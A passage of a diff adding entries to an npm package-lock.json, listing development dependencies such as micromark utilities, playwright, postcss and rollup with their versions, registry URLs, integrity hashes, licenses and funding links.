"^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-character": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-2.1.1.tgz", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-chunked": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-2.0.1.tgz", + "integrity": "sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-classify-character": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-2.0.1.tgz", + "integrity": "sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-combine-extensions": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-2.0.1.tgz", + "integrity": "sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-chunked": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-decode-numeric-character-reference": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-2.0.2.tgz", + "integrity": "sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-encode": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-2.0.1.tgz", + "integrity": "sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-html-tag-name": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-2.0.1.tgz", + "integrity": "sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-normalize-identifier": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-2.0.1.tgz", + "integrity": "sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-resolve-all": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-2.0.1.tgz", + "integrity": "sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-sanitize-uri": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-2.0.1.tgz", + "integrity": "sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-encode": "^2.0.0", + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-subtokenize": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-2.0.4.tgz", + "integrity": "sha512-N6hXjrin2GTJDe3MVjf5FuXpm12PGm80BrUAeub9XFXca8JZbP+oIwY4LJSVwFUCL1IPm/WwSVUN7goFHmSGGQ==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-symbol": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-2.0.1.tgz", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-types": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.1.tgz", + "integrity": "sha512-534m2WhVTddrcKVepwmVEVnUAmtrx9bfIjNoQHRqfnvdaHQiFytEhJoTgpWJvDEXCO5gLTQh3wYC1PgOJA4NSQ==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz", + "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/minisearch": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/minisearch/-/minisearch-7.1.1.tgz", + "integrity": "sha512-b3YZEYCEH4EdCAtYP7OlDyx7FdPwNzuNwLQ34SfJpM9dlbBZzeXndGavTrC+VCiRWomL21SWfMc6SCKO/U2ZNw==", + "dev": true, + "license": "MIT" + }, + "node_modules/mitt": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/mitt/-/mitt-3.0.1.tgz", + "integrity": "sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==", + "dev": true, + "license": "MIT" + }, + "node_modules/mlly": { + "version": "1.7.4", + "resolved": "https://registry.npmjs.org/mlly/-/mlly-1.7.4.tgz", + "integrity": "sha512-qmdSIPC4bDJXgZTCR7XosJiNKySV7O215tsPtDN9iEO/7q/76b/ijtgRu/+epFXSJhijtTCCGp3DWS549P3xKw==", + "dev": true, + "license": "MIT", + "dependencies": { + "acorn": "^8.14.0", + "pathe": "^2.0.1", + "pkg-types": "^1.3.0", + "ufo": "^1.5.4" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/non-layered-tidy-tree-layout": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/non-layered-tidy-tree-layout/-/non-layered-tidy-tree-layout-2.0.2.tgz", + "integrity": "sha512-gkXMxRzUH+PB0ax9dUN0yYF0S25BqeAYqhgMaLUFmpXLEk7Fcu8f4emJuOAY0V8kjDICxROIKsTAKsV/v355xw==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/oniguruma-to-es": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/oniguruma-to-es/-/oniguruma-to-es-3.1.0.tgz", + "integrity": "sha512-BJ3Jy22YlgejHSO7Fvmz1kKazlaPmRSUH+4adTDUS/dKQ4wLxI+gALZ8updbaux7/m7fIlpgOZ5fp/Inq5jUAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex-xs": "^1.0.0", + "regex": "^6.0.1", + "regex-recursion": "^6.0.2" + } + }, + "node_modules/package-json-from-dist": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", + "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", + "dev": true, + "license": "BlueOak-1.0.0" + }, + "node_modules/package-manager-detector": { + "version": "0.2.9", + "resolved": "https://registry.npmjs.org/package-manager-detector/-/package-manager-detector-0.2.9.tgz", + "integrity": "sha512-+vYvA/Y31l8Zk8dwxHhL3JfTuHPm6tlxM2A3GeQyl7ovYnSp1+mzAxClxaOr0qO1TtPxbQxetI7v5XqKLJZk7Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/parse-entities": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-4.0.2.tgz", + "integrity": "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/unist": "^2.0.0", + "character-entities-legacy": "^3.0.0", + "character-reference-invalid": "^2.0.0", + "decode-named-character-reference": "^1.0.0", + "is-alphanumerical": "^2.0.0", + "is-decimal": "^2.0.0", + "is-hexadecimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/path-data-parser": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/path-data-parser/-/path-data-parser-0.1.0.tgz", + "integrity": "sha512-NOnmBpt5Y2RWbuv0LMzsayp3lVylAHLPUTut412ZA3l+C4uw4ZVkQbjShYCQ8TCpUMdPapr4YjUqLYD6v68j+w==", + "dev": true, + "license": "MIT" + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-scurry": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", + "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "lru-cache": "^10.2.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + }, + "engines": { + "node": ">=16 || 14 >=14.18" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/pathe": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", + "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", + "dev": true, + "license": "MIT" + }, + "node_modules/perfect-debounce": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/perfect-debounce/-/perfect-debounce-1.0.0.tgz", + "integrity": "sha512-xCy9V055GLEqoFaHoC1SoLIaLmWctgCUaBaWxDZ7/Zx4CTyX7cJQLJOok/orfjZAh9kEYpjJa4d0KcJmCbctZA==", + "dev": true, + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pkg-types": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/pkg-types/-/pkg-types-1.3.1.tgz", + "integrity": "sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "confbox": "^0.1.8", + "mlly": "^1.7.4", + "pathe": "^2.0.1" + } + }, + "node_modules/playwright": { + "version": "1.50.1", + "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.50.1.tgz", + "integrity": "sha512-G8rwsOQJ63XG6BbKj2w5rHeavFjy5zynBA9zsJMMtBoe/Uf757oG12NXz6e6OirF7RCrTVAKFXbLmn1RbL7Qaw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "playwright-core": "1.50.1" + }, + "bin": { + "playwright": "cli.js" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "fsevents": "2.3.2" + } + }, + "node_modules/playwright-core": { + "version": "1.50.1", + "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.50.1.tgz", + "integrity": "sha512-ra9fsNWayuYumt+NiM069M6OkcRb1FZSK8bgi66AtpFoWkg2+y0bJSNmkFrWhMbEBbVKC/EruAHH3g0zmtwGmQ==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "playwright-core": "cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/points-on-curve": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/points-on-curve/-/points-on-curve-0.2.0.tgz", + "integrity": "sha512-0mYKnYYe9ZcqMCWhUjItv/oHjvgEsfKvnUTg8sAtnHr3GVy7rGkXCb6d5cSyqrWqL4k81b9CPg3urd+T7aop3A==", + "dev": true, + "license": "MIT" + }, + "node_modules/points-on-path": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/points-on-path/-/points-on-path-0.2.1.tgz", + "integrity": "sha512-25ClnWWuw7JbWZcgqY/gJ4FQWadKxGWk+3kR/7kD0tCaDtPPMj7oHu2ToLaVhfpnHrZzYby2w6tUA0eOIuUg8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-data-parser": "0.1.0", + "points-on-curve": "0.2.0" + } + }, + "node_modules/postcss": { + "version": "8.5.6", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", + "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/preact": { + "version": "10.26.2", + "resolved": "https://registry.npmjs.org/preact/-/preact-10.26.2.tgz", + "integrity": "sha512-0gNmv4qpS9HaN3+40CLBAnKe0ZfyE4ZWo5xKlC1rVrr0ckkEvJvAQqKaHANdFKsGstoxrY4AItZ7kZSGVoVjgg==", + "dev": true, + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/preact" + } + }, + "node_modules/property-information": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/property-information/-/property-information-6.5.0.tgz", + "integrity": "sha512-PgTgs/BlvHxOu8QuEN7wi5A0OmXaBcHpmCSTehcs6Uuu9IkDIEo13Hy7n898RHfrQ49vKCoGeWZSaAK01nwVig==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/punycode.js": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode.js/-/punycode.js-2.3.1.tgz", + "integrity": "sha512-uxFIHU0YlHYhDQtV4R9J6a52SLx28BCjT+4ieh7IGbgwVJWO+km431c4yRlREUAsAmt/uMjQUyQHNEPf0M39CA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/regex/-/regex-6.0.1.tgz", + "integrity": "sha512-uorlqlzAKjKQZ5P+kTJr3eeJGSVroLKoHmquUj4zHWuR+hEyNqlXsSKlYYF5F4NI6nl7tWCs0apKJ0lmfsXAPA==", + "dev": true, + "license": "MIT", + "dependencies": { + "regex-utilities": "^2.3.0" + } + }, + "node_modules/regex-recursion": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/regex-recursion/-/regex-recursion-6.0.2.tgz", + "integrity": "sha512-0YCaSCq2VRIebiaUviZNs0cBz1kg5kVS2UKUfNIx8YVs1cN3AV7NTctO5FOKBA+UT2BPJIWZauYHPqJODG50cg==", + "dev": true, + "license": "MIT", + "dependencies": { + "regex-utilities": "^2.3.0" + } + }, + "node_modules/regex-utilities": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/regex-utilities/-/regex-utilities-2.3.0.tgz", + "integrity": "sha512-8VhliFJAWRaUiVvREIiW2NXXTmHs4vMNnSzuJVhscgmGav3g9VDxLrQndI3dZZVVdp0ZO/5v0xmX516/7M9cng==", + "dev": true, + "license": "MIT" + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rfdc": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.4.1.tgz", + "integrity": "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==", + "dev": true, + "license": "MIT" + }, + "node_modules/robust-predicates": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.2.tgz", + "integrity": "sha512-IXgzBWvWQwE6PrDI05OvmXUIruQTcoMDzRsOd5CDvHCVLcLHMTSYvOK5Cm46kWqlV3yAbuSpBZdJ5oP5OUoStg==", + "dev": true, + "license": "Unlicense" + }, + "node_modules/rollup": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.34.8.tgz", + "integrity": "sha512-489gTVMzAYdiZHFVA/ig/iYFllCcWFHMvUHI1rpFmkoUtRlQxqh6/yiNqnYibjMZ2b/+FUQwldG+aLsEt6bglQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.6" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.34.8", + "@rollup/rollup-android-arm64": "4.34.8", + "@rollup/rollup-darwin-arm64": "4.34.8", + "@rollup/rollup-darwin-x64": "4.34.8", + "@rollup/rollup-freebsd-arm64": "4.34.8", + "@rollup/rollup-freebsd-x64": "4.34.8", + "@rollup/rollup-linux-arm-gnueabihf": "4.34.8", + "@rollup/rollup-linux-arm-musleabihf": "4.34.8", + "@rollup/rollup-linux-arm64-gnu": "4.34.8", + "@rollup/rollup-linux-arm64-musl": "4.34.8", + "@rollup/rollup-linux-loongarch64-gnu": "4.34.8", + "@rollup/rollup-linux-powerpc64le-gnu": "4.34.8", + "@rollup/rollup-linux-riscv64-gnu": "4.34.8", + "@rollup/rollup-linux-s390x-gnu": "4.34.8", + "@rollup/rollup-linux-x64-gnu": "4.34.8", + "@rollup/rollup-linux-x64-musl": "4.34.8", + "@rollup/rollup-win32-arm64-msvc": "4.34.8", + "@rollup/rollup-win32-ia32-msvc": "4.34.8", + "@rollup/rollup-win32-x64-msvc": "4.34.8", + "fsevents": "~2.3.2" + } + }, + "node_modules/roughjs": { + "version": "4.6.6", + "resolved": "https://registry.npmjs.org/roughjs/-/roughjs-4.6.6.tgz", + "integrity": "sha512-ZUz/69+SYpFN/g/lUlo2FXcIjRkSu3nDarreVdGGndHEBJ6cXPdKguS8JGxwj5HA5xIbVKSmLgr5b3AWxtRfvQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "hachure-fill": "^0.5.2", + "path-data-parser": "^0.1.0", + "points-on-curve": "^0.2.0", + "points-on-path": "^0.2.1" + } + }, + "node_modules/run-con": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/run-con/-/run-con-1.3.2.tgz", + "integrity": "sha512-CcfE+mYiTcKEzg0IqS08+efdnH0oJ3zV0wSUFBNrMHMuxCtXvBCLzCJHatwuXDcu/RlhjTziTo/a1ruQik6/Yg==", + "dev": true, + "license": "(BSD-2-Clause OR MIT OR Apache-2.0)", + "dependencies": { + "deep-extend": "^0.6.0", + "ini": "~4.1.0", + "minimist": "^1.2.8", + "strip-json-comments": "~3.1.1" + }, + "bin": { + "run-con": "cli.js" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/rw": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/rw/-/rw-1.3.3.tgz", + "integrity": "sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ==", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true, + "license": "MIT" + }, + "node_modules/sax": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.4.1.tgz", + "integrity": "sha512-+aWOz7yVScEGoKNd4PA10LZ8sk0A/z5+nXQG5giUO5rprX9jgYsTdov9qCchZiPIZezbZH+jRut8nPodFAX4Jg==", + "dev": true, + "license": "ISC" + }, + "node_modules/search-insights": { + "version": "2.17.3", + "resolved": "https://registry.npmjs.org/search-insights/-/search-insights-2.17.3.tgz", + "integrity": "sha512-RQPdCYTa8A68uM2jwxoY842xDhvx3E5LFL1LxvxCNMev4o5mLuokczhzjAgGwUZBAmOKZknArSxLKmXtIi2AxQ==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": 